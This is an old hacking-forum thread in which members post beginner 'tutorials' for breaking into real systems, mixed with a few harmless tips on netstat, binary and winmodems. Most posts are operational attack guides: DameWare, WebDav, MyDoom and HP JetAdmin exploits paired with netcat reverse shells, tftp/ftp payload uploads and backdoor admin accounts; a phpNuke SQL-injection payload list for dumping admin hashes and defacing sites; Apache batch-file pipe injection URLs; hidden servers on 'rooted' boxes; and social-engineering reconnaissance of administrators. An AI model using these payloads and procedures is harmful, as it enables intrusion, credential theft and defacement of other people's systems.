hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

Full Version: Tutorials.
Pages: 1, 2
Jay
Maybe you're just starting out and new to hacking & security.How about writing a mini tutorial every time you learn something new. This will help you consolidate your understanding and enable you to teach new members something so we all learn.

Look forward to reading them.
Train25
I would have to agree. This would spread the knowledge and cover all members from the novice to advanced user.

Maybe something for the admins and mods to discuss??
sweetangel_4u62
Hi... Im new to all this... i would like to know where i could get a good "port listener" (in my b-f's words) So i can see if someone is hacking me i guess....

sad.gif
w00dy
CODE
netstat -ao
a = listens to all posts
o = shows the PID so u know what app it is taht is listening to that port.
PS why are u posting this to this thread?
forza
much better than netstat is Fport
http://www.foundstone.com/index.htm?subnav...ddesc/fport.htm
whiskah
or better yet a gui one... TCPVIEW from sysinternals
darksp1d3r
Try SNORT wink.gif
Jay
This thread was meant to encourage people to write mini tutorials and be a place that they could post them if they didn't have full membership status.
forza
sorry but whiskah is right tcpview is also a goodone
http://www.sysinternals.com/ntw2k/source/tcpview.shtml

Btw
how can you i become a Member? (not trial)
TECHgenius
You must be active in the forum and make some good posts then you'll be promoted.
forza
Tutorial for beginners:
DameWare Mini Remote Control v3.72 & v3.73 remote exploit

Tools:
* NetCat
* Autototof_dameware_3.72_3.73.rar (http://www.kyoshi.nl/files/autototof_dameware_3.72_3.73.rar)
* TFTP server

Open command prompt, go to the folder with nc.exe now give the follow command:
nc -L -vv -p <port>

For example:
C:\>nc -L -vv -p 4567
listening on [any] 4567 ...

Netcat is now listening and waiting to be changed in a reverse command line.

Go to your autototof_dameware_3.72_3.73 directory and start damwre.bat.
(you can scan and hack)
Here I wanna hack a dmware 3.73 machine so I choose 6.
Enter ip (hacked ip)
1**.1**.*.5
give me your ip
1**.1**.*.*
give me your port
4567 <port used in netcat>
give me variant winXP(0,1,2)
0

If all goes well, you get this screen:

[Crpt] DameWare Mini Remote Control < v3.73 remote exploit by kralor [Crpt]
www.coromputer.net && undernet #coromputer

[+] Connecting to ***.***.*.5 ...Done
[+] Gathering information ...Done
[i] Operating system : Win2000
[i] Service Pack : 4
[+] Setting shellc0de for this version ...Done
[+] Sending evil packet ...Patched

Now you get in Netcat a prompt for the remote machine
C:\windows\system32>

Now you can start moving files to the remote machine with tftp
tftp.exe -i YOURIP get FILE c:\Winnt\system32\FILE
And starting backdoor services or ...

Make your admin account
net user USERNAME PASSWORD /add
net localgroup administrators USERNAME /add

Enjoy Your Hack!

EDITED No IP address should be posted. Thanks
Qlimax
hello ha everybody (:
there is a tut' for how using echo.
i don't know evreything about echo but i know: if u want to use echo u need FTP.EXE file on the box u try to hack.
ok we start:
first u need to open server on ur box.
open new folder (whatever u want on which drive u want) and put there the files u want to upload.
open user with ur server app and and home dired the user on the folder u open.
now go to the cmd\shell\whatever u have and wirte the commands:
CODE

echo open <YOUR IP> <YOUR PORT SERVER> >> x.txt
echo <SERVER USER> >> x.txt
echo <SERVER PASS> >> x.txt
echo hash >> x.txt
echo bin >> x.txt
echo prompt >> x.txt
echo cd C:\WINnt\system32 >> x.txt
echo lcd C:\WINnt\system32 >> x.txt
echo mget *.* >> x.txt
echo bye >> x.txt
ftp -s:x.txt
del x.txt

after u wirte the command's u see the remote box starting to download from u box after its finshed u can do whatever u want.
i hope i help u Qlimax. smile.gif
mrmoose²
I Have a question how can I scan Anon pubs like Grims ping but with
SuperScanner 4.00 ? can someone help ?
DiabloPatch
A nice site with some tuts I made (DiabloHorn) and also tut's from some other peeps. and a few tools hope you peeps enjoy smile.gif

hxxp://www.woodys-software.tk

Availible tut's on the site:

Escalating privileges on Windows 2000 & XP
Escalating privileges on Windows 2000
How to hack IIS 5.0 through WebDAV
Netbios hacking
Gathering info on remote host
The Road To Becoming A Hacker
Many ways to obtain an IP
Serv-U Error 100
Hacking Secured SQL
File Transfer Methods
SQL: Problems and Solutions
Hacking msadc (NT IIS MDAC RDS Vulnerability)
Hacking Basics Part 1
Hacking Basics Part 2
Hacking Basics Part 3
Hacking Basics Part 4
Hacking Basics Part 5
Todd
when i do the DMW sometimes i cant get the hack(win98) so a friend of mine told me to make a slave.exe for a remote proggy i echo get that to the site to and install it that way i got another access to the site to work from thats usaly solve my prob

just thourgh i would share that :-)
whiskah
Defacing phpNUke sites Using Multiple SQL INJECTION TECHNIQUES
Although this is very old, I was surprised to see thousands of sites
vulnerable even security sites and some hacking sites using phpNUke..

TOOLS:
1. Google,Browser
2. MD5 password cracker
Cain and Abel
Lepton's Crack
Rainbowcrack
mdcrack
3. Wordlist


STEPS:

1. Google search strings:this are just examples(this is just how I did), use your imagination..
allinurl:/modules.php?name=Downloads
allinurl:/modules.php?name=Web_links
allinurl:/modules.php?name=Sections
allinurl:/modules.php?name=Reviews
2. goto site then copy paste the strings that starts with '&' so the query for
downloads module sample would be hxxp://phpnukesite/modules.php?name=Downloads&d_op=viewdownload&cid=2 UNION select counter,aid,pwd from nuke_authors--

weblinks module sample would be hxxp://phpnukesite/modules.php?name=Web_links&l_op=viewlinkcomments&lid=-1%20UNION%20SELECT%20aid,1,pwd,1%20FROM%20nuke_authors/*

Sections module sample would be
hxxp://phpnukesite/modules.php?name=Sections&op=viewarticle&artid=-1%20UNION%20SELECT%200,0,aid,pwd,0%20FROM%20nuke_authors

Reviews module sample would be
hxxp://phpnukesite/modules.php?name=Reviews&rop=showcontent&id=-1%20UNION%20SELECT%200,0,aid,pwd,email,email,100,pwd,url,url,10000,name%20FROM%20nuke_authors/*

3. If you cracked the admin hash then login thru http://phpnukesite/admin.php
4. Respect and don't damage too much, Just inform them to patch
6. You will be amazed how many sites you can deface
7. Some alternative queries are listed below:

[DOWNLOADS MODULE]
--admin,hash---
&d_op=viewdownload&cid=2 UNION select counter,aid,pwd from nuke_authors--

--names,logins,passes
&l_op=viewlinkeditorial&lid=-1%20UNION%20SELECT%20name,1,pwd,aid%20FROM%20nuke_authors

---all pseudos of users,pass---6.9
&d_op=viewdownload&cid=-1%20UNION%20SELECT%20user_id,username,user_password%20FROM%20nuke_users/*

---6.9logins, ID, encrypted passwords, names, emails and levels of all reg users---
&d_op=modifydownloadrequest&lid=-1%20UNION%20SELECT%200,username,user_id,user_password,name,user_email,user_level,0,0%20FROM%20nuke_users
---------------------------------------------------------------
allinurl:/modules.php?name=Web_Links
[WEBLINKS MODULE]
--user,hash----
&l_op=viewlinkcomments&lid=-1%20UNION%20SELECT%20aid,1,pwd,1%20FROM%20nuke_authors/*

--hash--
&l_op=viewlink&cid=2 UNION Select aid,pwd,1 from nuke_authors --

----admin username-------
&l_op=viewlink&cid=2 UNION Select 1,aid,pwd from nuke_authors --

--hash---
&l_op=viewlink&cid=1%20UNION%20SELECT%20pwd,0%20FROM%20nuke_authors%20LIMIT%201,2
&l_op=brokenlink&lid=0%20UNION%20SELECT%201,aid,name,pwd%20FROM%20nuke_authors

----Resteer towards the password----
&l_op=visit&lid=-1%20UNION%20SELECT%20pwd%20FROM%20nuke_authors

-----------------------------------------------------------------
allinurl:/modules.php?name=Sections

[SECTIONS MODULE]
--admin hash---
&op=listarticles&secid=-1%20UNION%20SELECT%20pwd%20FROM%20nuke_authors
&op=listarticles&secid=-1%20UNION%20SELECT%200,0,pwd,0,0%20FROM%20nuke_authors%20WHERE%201/*
&op=printpage&artid=-1%20UNION%20SELECT%20aid,pwd%20FROM%20nuke_authors
---user,hash---
&op=viewarticle&artid=-1%20UNION%20SELECT%200,0,aid,pwd,0%20FROM%20nuke_authors

-----------------------------------------------------------------
allinurl:/modules.php?name=Reviews
[REVIEWS MODULE]

&rop=showcontent&id=-1%20UNION%20SELECT%200,0,aid,pwd,email,email,100,pwd,url,url,10000,name%20FROM%20nuke_authors/*Defacing phpNUke sites Using Multiple SQL INJECTION TECHNIQUES
Although this is very old, I was surprised to see thousands of sites
vulnerable even security sites and some hacking sites using phpNUke..

TOOLS:
1. Google,Browser
2. MD5 password cracker
Cain and Abel
Lepton's Crack
Rainbowcrack
mdcrack
3. Wordlist


STEPS:

1. Google search strings:this are just examples(this is just how I did), use your imagination..
allinurl:/modules.php?name=Downloads
allinurl:/modules.php?name=Web_links
allinurl:/modules.php?name=Sections
allinurl:/modules.php?name=Reviews
2. goto site then copy paste the strings that starts with '&' so the query for
downloads module sample would be http://phpnukesite/modules.php?name=Downlo...wdownload&cid=2 UNION select counter,aid,pwd from nuke_authors--
weblinks module sample would be http://phpnukesite/modules.php?name=Web_li...0nuke_authors/*
Sections module sample would be http://phpnukesite/modules.php?name=Sectio...%20nuke_authors
Reviews module sample would be http://phpnukesite/modules.php?name=Review...0nuke_authors/*
3. If you cracked the admin hash then login thru http://phpnukesite/admin.php
4. Respect and don't damage too much, Just inform them to patch
6. You will be amazed how many sites you can deface
7. Some alternatice queries are listed below:

[DOWNLOADS MODULE]
--admin,hash---
&d_op=viewdownload&cid=2 UNION select counter,aid,pwd from nuke_authors--

--names,logins,passes
&l_op=viewlinkeditorial&lid=-1%20UNION%20SELECT%20name,1,pwd,aid%20FROM%20nuke_authors

---all pseudos of users,pass---6.9
&d_op=viewdownload&cid=-1%20UNION%20SELECT%20user_id,username,user_password%20FROM%20nuke_users/*

---6.9logins, ID, encrypted passwords, names, emails and levels of all reg users---
&d_op=modifydownloadrequest&lid=-1%20UNION%20SELECT%200,username,user_id,user_password,name,user_email,user_level,0,0%20FROM%20nuke_users
---------------------------------------------------------------
allinurl:/modules.php?name=Web_Links
[WEBLINKS MODULE]
--user,hash----
&l_op=viewlinkcomments&lid=-1%20UNION%20SELECT%20aid,1,pwd,1%20FROM%20nuke_authors/*

--hash--
&l_op=viewlink&cid=2 UNION Select aid,pwd,1 from nuke_authors --

----admin username-------
&l_op=viewlink&cid=2 UNION Select 1,aid,pwd from nuke_authors --

--hash---
&l_op=viewlink&cid=1%20UNION%20SELECT%20pwd,0%20FROM%20nuke_authors%20LIMIT%201,2
&l_op=brokenlink&lid=0%20UNION%20SELECT%201,aid,name,pwd%20FROM%20nuke_authors

----Resteer towards the password----
&l_op=visit&lid=-1%20UNION%20SELECT%20pwd%20FROM%20nuke_authors

-----------------------------------------------------------------
allinurl:/modules.php?name=Sections

[SECTIONS MODULE]
--admin hash---
&op=listarticles&secid=-1%20UNION%20SELECT%20pwd%20FROM%20nuke_authors
&op=listarticles&secid=-1%20UNION%20SELECT%200,0,pwd,0,0%20FROM%20nuke_authors%20WHERE%201/*
&op=printpage&artid=-1%20UNION%20SELECT%20aid,pwd%20FROM%20nuke_authors
---user,hash---
&op=viewarticle&artid=-1%20UNION%20SELECT%200,0,aid,pwd,0%20FROM%20nuke_authors

-----------------------------------------------------------------
allinurl:/modules.php?name=Reviews
[REVIEWS MODULE]

&rop=showcontent&id=-1%20UNION%20SELECT%200,0,aid,pwd,email,email,100,pwd,url,url,10000,name%20FROM%20nuke_authors/*
Jay
Thanks for that.

QUOTE
4. Respect and don't damage too much, Just inform them to patch
6. You will be amazed how many sites you can deface



I hope everyone lets the admin know and not defaces the web site dry.gif
rockerx
Hi, i wrote this today. The english translation is just for this board

E n g l i s h

What do we want?
-We wan't to set up a very simple webserver on the rooted server.

What do we need?
- hiderun.exe
- miniwebserver.exe (u better rename it)
- miniwebserver.ini
- some html files (optional)

Ok, first we create the ini file
open your favourite editor and type the following text and save it as miniwebserver.ini

Port=13373
Root=C:\
Listing=1

"Port" is selfexplaining
"Root" is the directory where the server looks for he htmlfiles (needs to exist)
"LIsting": shows directory listing if html files are missing. options 0 (disabled) 1 (enabled)

ok, now upload the files to the server into one and the same directory and execute the server using:
hiderun miniwebserver.exe cfg=miniwebserver.ini

Now it's done! The server is up!

note: after a reboot the webserver will not start up automatically
but you know how to solve this problem smile.gif

rockerx


D e u t s c h

Was beschreibt diese txt?
- Wie wir einen kleinen simplen webserver auf nem gehaxten server aufsetzen

Was brauchen wir dafür?
- hiderun.exe
- miniwebserver.exe (besser umbenennen)
- miniwebserver.ini
- html dateien (optional)

Ok, zuerst schreiben wir die ini datei
tippe in deinem editor folgende zeilen ein und speichere sie als miniwebserver.ini ab

Port=13373
Root=C:\
Listing=1

"Port" erklärt sich von selbst
"Root" ist das verzeichnis wo der server die html dateien erwartet
"Listing": Zeigt den verzeichnisinhalt an wenn keine index.html vorhanden ist options 0 (disabled) 1 (enabled)

Gut, jetzt lade die dateien auf den server in ein verzeichnis hoch und starte den webserver wie folgt
hiderun miniwebserver.exe cfg=miniwebserver.ini

ok, jetzt läuft der server.

nach nem reboot wird der webserver nicht automatisch mit gestartet aber wie ihr das bewerkstelligen könnt wisst ihr ja

rockerx
rotem
cab someone explain me something about the MyDoom ?
please tell me what tools i need
and how do i send the packet to the host ?
JohnAcres
Hacking WebDav

I'm going to do this tutorial like a science lab because I like that format. I haven't really read around that much so I'm not sure if this has been posted before or not or if this is even needed.

Purpose: Get a shell on the host.

Tools/Materials: wb.exe (the WebDav exploit by kralor, www.coromputer.net)
nc.exe (netcat)

Procedure:
1. Open up netcat, nc -L -vv -p 1434
2. Make a batfile for wb.exe to get all the paddings in order to make easier.

This will cover all the paddings just replace %1 with the target computer and %2 with the computer that u want the victim to connect to
wb %1 %2 1434 0
wb %1 %2 1434 1
wb %1 %2 1434 2
wb %1 %2 1434 3
wb %1 %2 1434 4
wb %1 %2 1434 5
wb %1 %2 1434 6
wb %1 %2 1434 7
wb %1 %2 1434 8
wb %1 %2 1434 9
wb %1 %2 1434 10
wb %1 %2 1434 11
wb %1 %2 1434 12
wb %1 %2 1434 13
wb %1 %2 1434 14
wb %1 %2 1434 15
wb %1 %2 1434 16
wb %1 %2 1434 17
wb %1 %2 1434 18
wb %1 %2 1434 19
wb %1 %2 1434 20
wb %1 %2 1434 0
wb %1 %2 1434 1
wb %1 %2 1434 2
wb %1 %2 1434 3
wb %1 %2 1434 4
wb %1 %2 1434 5
wb %1 %2 1434 6
wb %1 %2 1434 7
wb %1 %2 1434 8
wb %1 %2 1434 9
wb %1 %2 1434 10
wb %1 %2 1434 11
wb %1 %2 1434 12
wb %1 %2 1434 13
wb %1 %2 1434 14
wb %1 %2 1434 15
wb %1 %2 1434 16
wb %1 %2 1434 17
wb %1 %2 1434 18
wb %1 %2 1434 19
wb %1 %2 1434 20
wb %1 %2 1434 203
wb %1 %2 1434 71
wb %1 %2 1434 190
wb %1 %2 1434 194
wb %1 %2 1434 200
wb %1 %2 1434 -3

3. Run the bat and watch nc for the shell.

Thats about it... not hard, not complicated, or really new but I thought it might help someone out.
tweakz20
people. this is for tutorials... not requesting tutorials...

some of these are nice for new tallent, good job guys
about the one using echo...
you can just use notepad or any wordprocessor to make life way easier... but if you're in dos or constructing a batch file, that's a very usefull command.....
NeBoKaDnEzZaR
Hei Thx a lot for the Web Server Turtorial. biggrin.gif A really good idea to make it in 2 langauges resoect. I also will make TUT'S here wehn i learned some new. Was a good idea.

Greez NeBo
TwitcH
This tut is just a lil something im still working on, hope this helps.




Gathering Information On Your Target V1.6 An Unsecure Team Tutorial

http://unsecure.khgamez.com Author: TwitcH Date:25/03/04

-ContentS-
1: Gathering Basic Information on The Administrator
2: Gaining Your Targets IP Address
3: Finding out the Targets Operating System Type and The Services it is Running
4: Port Scanners Will Help You Uncover Those Holes...
4: Finding Exploits for these Services

ChapteR 1: Gathering Basic Information On the Administrator

Gathering information on the person that runs your target system might seem a bit silly but belive me it can help a damn lot when trying to gain access to the system. One example of this is cracking passwords ie: Your trying to use a dictionary attack on his password hash using an english dictionary when in fact he is actually japanese and so is his password, or another reason this can be very useful is that social engineers can get to know his/her habits/hobbies/interests and work there way into the system by tricking people he works with into giving you access. We'll start by visiting the admins website, take note of the topic of the website this can be a very big clue as to what the admin is interested in (and you could also find other less secure sites he might have a username and password on to try and get his password which might also be the password to his e-mail/server). Also try and grab his e-mail address (even his e-mail addy's name could be a big clue as to what his password is). You can even try slapping his e-mail addy into msn and try to talk to him pretending to be someone he knows or someone interested in what his server is running (just try not to sound too suspicious). Once you know as much as you can about the admin try doing a finger or whois on his website/e-mail (these tools are explained in the mini-tutorials sections on the unsecure site) I think thats about all you can do to find out about the admin (just remember exploiting/cracking isnt the only way into a server).

ChapteR 2: Gaining Your Targets IP Address

This is a very important but relatively easy part of gathering information on the target. You will need the targets IP address to use tools such as Port Scanners, Exploits, Sniffers blablabla... Getting it as i said earlier is a piece of piss, one easy way of doing this is nslookup just go to your commandline and type nslookup "inserthostname here" <(Without The Quotes!!) this should hopefully bring up the hosts IP addy. BUT! this might not be the way into the server you might need to hack the admins personal computer so you will need the admins personal computers IP addy, getting this can be a bit harder. I cant think of any definate way of doing this but there are some tools that you can download that will let you get the IP Address using MSN, ICQ and other programs that use a connection between the two computers.

Chapter 3: Port Scanners Will Help You Uncover Those Holes...

There are lots of different port scanners available for you today, some have millions of options others just do a simple TCP scan. This chapter will just tell you a little about the best ones available and where to get them from.

Nmap:
Nmap can be found at http://www.insecure.org and is a linux based port scanner (although there is a windows port i dont reccomend it due to really slow scanning times).
Nmaps best feature is its amount of scanning options, some of these are:
* Vanilla TCP connect() scanning,
* TCP SYN (half open) scanning,
* TCP FIN (stealth) scanning,
* TCP ftp proxy (bounce attack) scanning,
* SYN/FIN scanning using IP fragments (bypasses packet filters),
* UDP recvfrom() scanning,
* UDP raw ICMP port unreachable scanning,
* ICMP scanning (ping-sweep), and
* Reverse-ident scanning.
* OS Detection

as you can see thats quite a list and very very useful in any hackers eyes wink.gif.

GFI LanGuard Network Security Scanner: http://www.gfi.com
This is a windows based scanner with a nice easy to use gui, this scanner will not only detect OS version, scan the ports and do port range scans, it also looks to see if the target has any security holes!! This lil bugger will scan there computer using the latest exploits/trojan ports and tell you if the target computer is exploitable. This can help a damn lot when gathering information on a target. Once the scanner has found an exploit, it will show you a link to the BugTraq listing for this exploit where you can possibly find out how to exploit this hole.

NetScan Tools Pro 2000: http://www.nwpsw.com
This is a simpler version of a windows GUI based port scanner, but this one has a shitload more options, things like finger, ping, traceroute, WhoIs, SMTP E-mail generator, NetBios Info Lookup and about 10 more... Only thing is this one is not free, you have to pay for it. (although i do think i saw this floating around DC++ wink.gif )


ChapteR 4: Finding Exploits For The Services

This part is simple, everyone no matter how dumb should be able to find an exploit just try and find out the version of the service you want to exploit open up google and search for "blabla 1.0 exploit" or summin along those lines. Find the exploits compile, read the instructions and attack. Ill write up another tutorial on using some common exploits one day. (just vote for the tutorial you want at unsecure.khgamez.com) Well that just about wraps it up for Version 1 of this tutorial (yes i said version one this thing will get updated and will go into the extreme details of everything ive mentioned in here) so while your waiting for more fuller explanations and techniques for gathering information on your target server head over to unsecure.khgamez.com and fill them boards, post some tutorials and submit some news.
Another way of finding new exploits is to sign yourself up to an exploit mailing list, these can be very helpful on difficult hacks because new exploits are appearing

Anyone wanting to be a part of the unsecure.khgamez.com team should send me an e-mail at illuminati_2600@hotmail.com thank you and happy hacking
migo
wow!
binary_hashes
hi, all
i m also a new
i want to know the difference between MS03-026 AND MS03-036 Vulneribility
pLeAse i need some guidance
eXtiGy
QUOTE
MD5 password cracker


Hello all, regarding this MD5 cracker, i always stuck at "password size 6 scanning" for a very very long time, like, 2 hrs or more, didnt continue cracking after 2 hours+. what is the problem? anyone knows? or is the hash is impossible to crack at all?

this is the hash by the way.. : 48b63ee26e7e0f115bfc627cd9b6c725 blink.gif
Jay
eXtiGy. This looks like you are doing illegal things and then posting the hash in the main forum asking for help.This is a security forum and not a script kiddy forum.

Member suspended. mad.gif
Cyberneo
QUOTE (rotem @ Mar 19 2004, 02:09 PM)
cab someone explain me something about the MyDoom ?
please tell me what tools i need
and how do i send the packet to the host ?

Hello, this is my first post arround here and hopefully there will be a lot more soon. Well my doom its not that big of a deal to get to, all u need to use MyDoom is a port scanner, the rsCRT.exe, a telnet prog like nc.exe and the prog to exploit the vuln itself called mykralor.exe.

1- so, first thing is first, u need to get the range u want to check for the doom vuln scanned, for wich we´ll use the port scanner, and set it to scann on port 3127.

2- After u get a list of results from the scann u open the rsCRT.exe; wich will create us a remote shell that we can uplaod to the place ur testing for security issues. So just set the Ip and port u want this program to Bind the shell to and hit the create button.

3- Now we need to prepare to get a shell. Open nc.exe and set it to listen to any (nc.exe -l -vv -p PORT#) It will wait for an incomming connection from the place u uploaded the program created with rsCRT.exe to give you a shell.

4- Open mykralor.exe and with your results from the scan and run it like this.
ie. mykralor.exe Target_IP 3127 shell.exe
*note* shell.exe should be in the same directory as mykralor.exe
This will start sending the packet to the provided hosts and if the host is infected u´ll get a prompt dropped in ur nc.exe listening window.

To secure any site u find with this vuln u just need to upload a file called securemydoom.com and get in a cmd prompt and type securemydoom.com -NOC
with that, the program will start an autosearch in the site for infected files and will erase em from it and ur box will be cleaned fro this nasty virus.

If u need this cleaner file just lemme know. I can send it anywere or post it here. Hope this helps u and any1 else that needs ingo in MyDoom virus.
pink.frog
Thanks for the MyDoom Tut. Great piece of work
TheRealGiant
Not new, but might help someone.

Apache Win32 - 1.3.23 & 2.0.28 Hacking

What you need :
+++++++++++++++

You don't need any tool to make the deface. This vulnerability can be exploited
via a browser.

_____________________________________________________________________________

Lets start...


1.This vulnerability has been exploited on - Apache 1.3.23
- Apache 2.0.28-BETA (By default includes /cgi-bin/test-cgi.bat
file which enables this attack)

When a request for a DOS batch file (.bat or.cmd) is sent to an Apache
web server, the server will spawn a shell interpreter (cmd.exe by
default) and will run the script with the parameters sent to it by the
user. Because no proper validation is done on the input, it is possible
to send a pipe character ('|') with commands appended to it as
parameters to the CGI script, and the shell interpreter will execute
them.


2.Find a webserver running Apache 1.3.23(Win) or Apache 2.0.28-BETA(Win)

(a)To view the httpd.conf file residing in the /conf directory of the
Apache installation, you must copy it into the virtual web root.

To do this, write in your browser:

hxxp://www.target.com/cgi-bin/test-cgi.bat?|copy+..\conf\httpd.conf+..\htdocs\httpd.conf


(b)To view the contents of the C:\ drive create in /htdocs a file containing
the directory listing of the drive.

To do this, write in your browser:

hxxp://www.target.com/cgi-bin/test-cgi.bat?|dir+c:+>..\htdocs\dir.txt


©To make your deface you will use the echo command.

To do this, write in your browser:

hxxp://www.target.com/cgi-bin/test-cgi.bat?|echo+Defaced bY YOU+>>+..\htdocs\index.html

This will append the string "Defaced bY YOU" to the index.html file residing in
the virtual web root directory.


Thats how this vulnerability can be exploited...
seeno
For thoes who can't use there winmodems (Conexant chipsets).
did you install a Linux distro and found out you couldn't use your winmodem?
well, there's a solution for that now, go to Linuxant and download the right package for your kernel/modem (free version), install it and give it a try using kppp. kppp is a GUI version for thoes who want to connect quick and/or don't know how to configure pppd, your limited to 14.4Kbps data with the free version so i would recomend you to buy the full version.
Spawn
You can Download a lot of programming tuts here : Take a look, its a nice one wink.gif

http://www.gorkhali.com/kamal/download.htm
JohnAcres
alright im gonna do a quick tutorial on how to hack and scan for hp web jetadmin.. the ways of my knowledge and experience if anyone has any suggestions feel free to post em cause right now the scanning/checking is fairly crude.

alright well ill start off with the scanning for HP Web JetAdmin. Sfind or scan500 whichever ur favorite scanner of that type is and choose a range and scan for port 8000... fairly simple right... so if u were using sfind ud do...

sfind 127.0.0.1 127.254.254.254 -p 8000

once u have that scan take scanline or whatever other banner scanner u want to use and banner scan the ips on port 8000, for scanline it goes like this

sl -bhpt 8000 -f portscan.txt -o bannerscan.txt

now you have the banner results... you want to find all the banners that have HP Web JetAdmin in them and copy all the ips to another txt file. once you have this txt file we can use notepad to (hopefully u didn't scan multiple A class ranges or this trick is kinda hard) turn these ips into sort of a masshacker/autohacker. Go to replace put in the first number set in the range (example if i scanned 127.9.0.1 to 127.60.254.254 id put in 127.) with the period at the end in the find dialog box... in the replace box put hp.pl plus the first number set with the peroid... so example ( i put 127. in the find dialog i put hp.pl 127. in the replace with dialog box).

you should now have a file that looks like...

hp.pl 127.7.146.74
hp.pl 127.7.130.71
hp.pl 127.7.101.190
hp.pl 127.7.156.1
hp.pl 127.7.158.139
hp.pl 127.7.188.137
hp.pl 127.7.191.103

save and close the file... rename it to a .bat execute it in the folder with the exploit

it will go thru all the ips and try to hack em... once it gets to a windows box that it can hack it will ask you how u want to upload the files f for ftp or t tftp... chose ur prefence ive always done ftp cause i can't host a tftp server. itll ask you for the username/password for the ftp or tftp server. the ip, the file path, and the file you want uploaded... fill out all these with what you want... for the backdoor on this i HIGHLY recommend using a reverse connect shell because its not executed right away. open up ur netcat on the port that the victim is gonna connect back to and just wait for a while, theres no set time itll connect back to so just leave it open for a day or two.

easy as that... now for the more technical details about the exploit

the exploit is in perl so you can download activeperl its on the bottom of the perl2exe site i think but its fairly availble and just use the perl script which is much more stable and much faster.

note: i haven't read this over so sorry for the poory writing thats prolly in here... ill look it over eventually
tweakz20
even though i'm in the speciallist category now, this tut isn't suppost to be too grand... most everyone knows about it.. understanding BINARY!

Binary is the lowest level, it is a bunch of switches of ON and OFF and computers show this with 1 (on) and 0 (off)
now, for a while i had no clue what they were talking about with powers of ten crap, so here's a different way to look at it.

Here's a number- 192 (which is an example of an IP 8 Binary section)
in Binary- 11000000
Let's explain this.
1- 0
2- 0
4- 0
8- 0
16- 0
32- 0
64- 1
128- 1
( 128 + 64 = 192 )

OK, so what can you see from that table thing?
  • In Binary, the highest bit is on the left, the lowest on the right.
  • The number's starting number is ONE
  • The numbers DOUBLE each time they give another diget
  • No number can be made 2 different ways

to elaborate on the last thing in the list- imagine the number... 2... OK? (let's not make this more complicated than it is).. well how would you do two when the only two numbers <= 2 are 1 and 2? you can't use 2 ones, you have to use one two.. simple if you think about it

Binary is a very simple concept, once you get to understand it... if you're just starting out learning binary, hope this helped you
Borgon
Hi,

Can someone include more sql injection tutorials? I have been doing some research on this topic and all i find are a few papers on exploiting easy login.asp form vulnerabilities, but nothing like a real application blindly, and not knowing the database table structures etc.

thanks
manu
QUOTE
You can Download a lot of programming tuts here : Take a look, its a nice one

http://www.gorkhali.com/kamal/download.htm


Unfortunately I didnt get any Tuts from that PAGE u mentioned. Waste of time.

Manu huh.gif
Opal
Vulnerability in Apache for Win32 batch file processing - Remote command
execution

=> Vendor: Apache group

=> Product: Apache web server (Win32) - Running DOS batch files
Tested on:
- Apache 1.3.23
- Apache 2.0.28-BETA (By default includes /cgi-bin/test-cgi.bat
file which
enables this attack)

=> Severity: High, remote command execution and arbitrary file viewing.

=> CVE candidate: CAN-2002-0061
(http://cve.mitre.org/cgi-bin/cvenam...e=CAN-2002-0061 )

=> Summary: Because of a the way Apache web server handles DOS batch scripts
it is possible to execute remote commands on the web server by using the
pipe ('|') character.

** IMPORTANT **
The Apache 2.0.x installation is shipped with the default script
/cgi-bin/test-cgi.bat
which can be exploited, but it should be noted that ANY '.bat' or '.cmd'
script
will allow exploitation of this vulnerability.


=> Description: When a request for a DOS batch file (.bat or .cmd) is sent
to an Apache
web server, the server will spawn a shell interpreter (cmd.exe by default)
and
will run the script with the parameters sent to it by the user. Because no
proper validation is done on the input, it is possible to send a pipe
character
('|') with commands appended to it as parameters to the CGI script, and the
shell
interpreter will execute them.


-----------------------------------------------------------------------------
1.This vulnerability has been exploited on - Apache 1.3.23
- Apache 2.0.28-BETA (By default includes /cgi-bin/test-cgi.bat
file which enables this attack)

When a request for a DOS batch file (.bat or.cmd) is sent to an Apache
web server, the server will spawn a shell interpreter (cmd.exe by
default) and will run the script with the parameters sent to it by the
user. Because no proper validation is done on the input, it is possible
to send a pipe character ('|') with commands appended to it as
parameters to the CGI script, and the shell interpreter will execute
them.


2.Find a webserver running Apache 1.3.23(Win) or Apache 2.0.28-BETA(Win)

(a)To view the httpd.conf file residing in the /conf directory of the
Apache installation, you must copy it into the virtual web root.

To do this, write in your browser:

http://www.target.com/cgi-bin/test-...docs...#092;httpd.conf


(b)To view the contents of the C:\ drive create in /htdocs a file containing
the directory listing of the drive.

To do this, write in your browser:

http://www.target.com/cgi-bin/test-cgi.bat...cs\dir.txt


⌐To make your deface you will use the echo command.

To do this, write in your browser:

http://www.target.com/cgi-bin/test-cgi.bat...24;echo+Defaced bY YOU+>>+..\htdocs\index.html

This will append the string "Defaced bY YOU" to the index.html file residing in
the virtual web root directory.


Thats how this vulnerability can be exploited...
ShouiZen
Yes it's good software the autotof_dameware_3.72_3.73
yeah man it's good job biggrin.gif laugh.gif smile.gif
Opal
The How-To Hack IIS Servers For Pubstros
Tutorial about Hacking using IIS exploits
This one goes for the people that ask for a tut to start hacking.
if u wanna know more research yourself


Pub Hacking Tutorial


The How-To Hack IIS Servers For Pubstros
(By GENERAL NEWBIE)
March 20 ,2002

#################################################F


or Educational Use Only##############################################


#####


Getting Started is simple... let me warn you that what your doing is illegal and dangerous. Now then
This tutorial tells you how to hack IIS servers and make them as a pub... and how to rehack someone
elses pub hahahahaha!

Now then the tools and knowledge you will need are as follows

Tools Required:



1. Serv-u Ftp Server 4.0 works just fine but versions 3.0 doesnt require an additional dll file
2. TFTPSuitePro2000 (h**p://www.walusoft.co.uk/software/tftppro.exe)
3. Your Brain with knowledge of the IIS Unicode Exploit or MSDAC Exploit
4. Internet Explorer
5. Other things to try


Ok Let Me Start By Saying This Is For "Education Purpouses" Only And I Take No Responsibility For What You Do

The Setup

Step 1: Install Serv-u AND download the already preconfigured ServuDaemon from me (recommended as i will be explaining from this)

The reason why i told you to download both is because the Servu Version 4 that you download has a admin program so you can
make your own ini file after you understand everything i have in mine.

Step 2: Install TFTPSuite (Durring Installation Pick SERVER)

TFTPSuitePro Setup Open TFTPSuitePro, When It Asks U To Register Hit Register Than Cancel.You Should Have Sumtin That Looks
Like This Hit System->Setup For Inbound Path File, Hit Browse And Pick The C:\FTP dir We Made, And Do The Same For
Outbound Then Hit Ok. Now then when its time to upload files TFTP SERVER MUST BE RUNNING

Step 3: Unzip the Zip/Rar where you will find some goodies to help you scan for IIS servers and find one to hack

Here you will find tons of little programs that will assist you in hacking your server.

Step 4: FIND A VERNURABLE SERVER

Step 5: Start Making the Pub

